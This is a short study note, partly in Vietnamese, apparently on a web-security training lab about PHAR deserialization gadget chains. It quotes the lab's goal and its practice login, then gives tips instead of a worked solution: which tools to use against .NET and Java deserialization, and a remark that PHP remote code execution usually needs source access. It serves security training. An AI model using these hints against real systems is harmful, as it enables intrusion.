Có khá nhiều các class và các magic method luôn.

Lab: Using PHAR deserialization to deploy a custom gadget chain

Description:

This lab does not explicitly use deserialization. However, if you combine PHAR deserialization with other advanced hacking techniques, you can still achieve remote code execution via a custom gadget chain.

To solve the lab, delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

Solution:

Note:

Đối với .NET, chỉ cần thấy có deserialize -> ysoserial .NET

Đối với Java, nếu có deserialize + phiên bản Java cũ -> ysoserial

Đối với PHP:

  • Nếu muốn RCE hầu như phải có code (whitebox), nếu ko cùng lắm leo được quyền admin trong trang web

  • Search google "PHP Object Injection" thay vì "PHP Deserialization"

  • Skills đọc code phải pro vip

Last updated